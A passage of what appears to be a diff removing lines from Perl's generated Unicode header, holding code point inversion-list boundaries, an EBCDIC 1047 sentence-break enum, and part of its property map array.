0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE17, - 0xFE19, - 0xFE20, - 0xFE30, - 0xFE31, - 0xFE33, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE50, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE5F, - 0xFE63, - 0xFE64, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF1F, - 0xFF20, - 0xFF21, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF41, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF65, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFF9, - 0xFFFC, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x10428, - 0x10450, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A56, - 0x10A58, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11049, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11141, - 0x11144, - 0x11150, - 0x11173, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111DE, - 0x111E0, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112AA, - 0x112B0, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x1144D, - 0x11450, - 0x1145A, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11600, - 0x11630, - 0x11641, - 0x11643, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x1173C, - 0x1173F, - 0x118A0, - 0x118C0, - 0x118E0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A42, - 0x11A44, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A9A, - 0x11A9B, - 0x11A9D, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C43, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16AF6, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B39, - 0x16B40, - 0x16B44, - 0x16B45, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA88, - 0x1DA89, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E922, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F676, - 0x1F679, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -typedef enum { - SB_Other = 0, - SB_ATerm = 1, - SB_CR = 2, - SB_Close = 3, - SB_Extend = 4, - SB_Format = 5, - SB_LF = 6, - SB_Lower = 7, - SB_Numeric = 8, - SB_OLetter = 9, - SB_SContinue = 10, - SB_STerm = 11, - SB_Sep = 12, - SB_Sp = 13, - SB_Upper = 14, - SB_EDGE = 15 -} SB_enum; - -static const SB_enum _Perl_SB_invmap[] = { /* for EBCDIC 1047 */ - SB_Other, - SB_Sp, - SB_Other, - SB_Sp, - SB_CR, - SB_Other, - SB_LF, - SB_Other, - SB_Sep, - SB_Other, - SB_Sp, - SB_Lower, - SB_Other, - SB_ATerm, - SB_Other, - SB_Close, - SB_Other, - SB_Lower, - SB_STerm, - SB_Other, - SB_Close, - SB_Other, - SB_SContinue, - SB_Other, - SB_Upper, - SB_Other, - SB_SContinue, - SB_Other, - SB_STerm, - SB_Lower, - SB_Upper, - SB_Other, - SB_SContinue, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Upper, - SB_Lower, - SB_Close, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Close, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Upper, - SB_Format, - SB_Lower, - SB_Close, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Numeric, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Lower, - SB_OLetter, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_OLetter, - SB_Other, - SB_SContinue, - SB_Other, - SB_Lower, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_SContinue, - SB_Other, - SB_Extend, - SB_Other, - SB_Format, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Numeric, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Format, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Format, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_SContinue, - SB_STerm, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Format, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Close, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - 